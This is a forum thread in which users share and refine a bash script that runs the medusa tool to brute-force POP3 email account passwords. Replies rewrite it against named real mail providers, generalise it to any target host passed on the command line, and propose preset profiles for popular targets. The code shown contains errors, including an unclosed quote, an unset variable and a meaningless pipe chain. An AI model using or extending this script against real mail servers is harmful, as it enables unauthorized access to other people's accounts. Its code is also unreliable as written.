Results 1 to 5 of 5

Thread: test_my_script_hackount.sh

  1. #1
    Good friend of the forums zimmaro's Avatar
    Join Date
    Mar 2010
    Location
    milano
    Posts
    407

    Default test_my_script_hackount.sh

    Hey, guys
    after seeing some of you will create beautiful bash script I decided( overcoming the barrier of my ignorance)to"launch into this beautiful world "....... maybe it was better than I" launched "from the balcony muahahahah!
    The intent was to create [my first] a (simple + basic) bash script to bruteforce the e-mail account (pop3 server) that are used by my areas (for test-hack my account)
    his name is HACKOUNT.SH!
    I state to be the inexperienced to shell scripting but eager to learn !!! [i'm a old IT goat]
    the sentence to you: http://pastebin.com/0Bc0nv1w
    to watch video to test it: http://vimeo.com/32775667
    thanks! zimmaro

  2. #2
    Member shadowzero's Avatar
    Join Date
    Jun 2011
    Location
    ${HOME}
    Posts
    94

    Default Re: test_my_script_hackount.sh

    A couple of tips: instead of calling medusa for each host in each case, just get the host using case and pass that to medusa. There's also no need to >root.txt if you're just going to rm it in the next line.

    Code:
    host=""
    echo -n '   mail server to attack A(alice.it) or T(tiscali.it) or G(gmail.com)  ? '
    read mail
    case $mail in
    A) host="in.alice.it ;;
    T) host="pop.tiscali.it";;
    G) host="gmail.com";;
    
    *)
     sleep 1
     echo "            ****COMMAND NOT SUPPORTED****             "
    esac
    
    rm crack.txt
    xterm -geometry 94x12-0+0 -bg blue -fg white -T "MEDUSA" -e medusa -h ${host} -n 995 -s -e ns -U user.txt  -O /root/crack.txt -P  pass.txt -f -M pop3
    xterm -geometry 94x12-0+0 -bg blue -fg white -T "crack.txt" -e tail -f crack.txt | grep FOUND | sleep 1 | echo "ATTACK-FINISHED" | echo "   BYE look at crack.txt-window"
    Since host is the only variable that changes (from what I can tell in your script), then the above should work just fine.

    If you want to make your code even more concise and support more hosts without having to change the script, consider passing the host as the parameter to the script:

    Code:
    #!/bin/bash
    if [[ -z ${1} ]]; then 
       echo "usage: `basename ${0}` host"
       exit 0
    fi
    rm crack.txt
    xterm -geometry 94x12-0+0 -bg blue -fg white -T "MEDUSA" -e medusa -h ${host} -n 995 -s -e ns -U user.txt  -O /root/crack.txt -P  pass.txt -f -M pop3
    xterm -geometry 94x12-0+0 -bg blue -fg white -T "crack.txt" -e tail -f crack.txt | grep FOUND | sleep 1 | echo "ATTACK-FINISHED" | echo "   BYE look at crack.txt-window"
    Now you're not limited to the three hosts you hardcoded, and anyone who uses your script can specify their own target through the command line:

    hackount.sh example.com


    Good luck.

  3. #3
    Good friend of the forums zimmaro's Avatar
    Join Date
    Mar 2010
    Location
    milano
    Posts
    407

    Default Re: test_my_script_hackount.sh

    hi ,shadowzero
    thank you very much for your advice, explanations & improvements try to put in place in the future!!
    Thanks!
    one thing: the commands to "MEDUSA" all are not equal (pop3 server)
    in some cases change the doors (995.110 [default]), the connections with ssl yes / no & in some cases some "server" (i think https) attempts to " concurrent connection" work before the server"""go down""
    (sorry my language I hope that I was well expressed)
    thanks again zimmaro

  4. #4

  5. #5
    Member shadowzero's Avatar
    Join Date
    Jun 2011
    Location
    ${HOME}
    Posts
    94

    Default Re: test_my_script_hackount.sh

    Ah my mistake, I didn't notice that. If the options can vary that much, maybe you could create a configuration file that contains profiles for specific targets. That way users can add their own target settings and select their targets from a menu and it could contain pre-configured settings for popular targets. Something to think

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •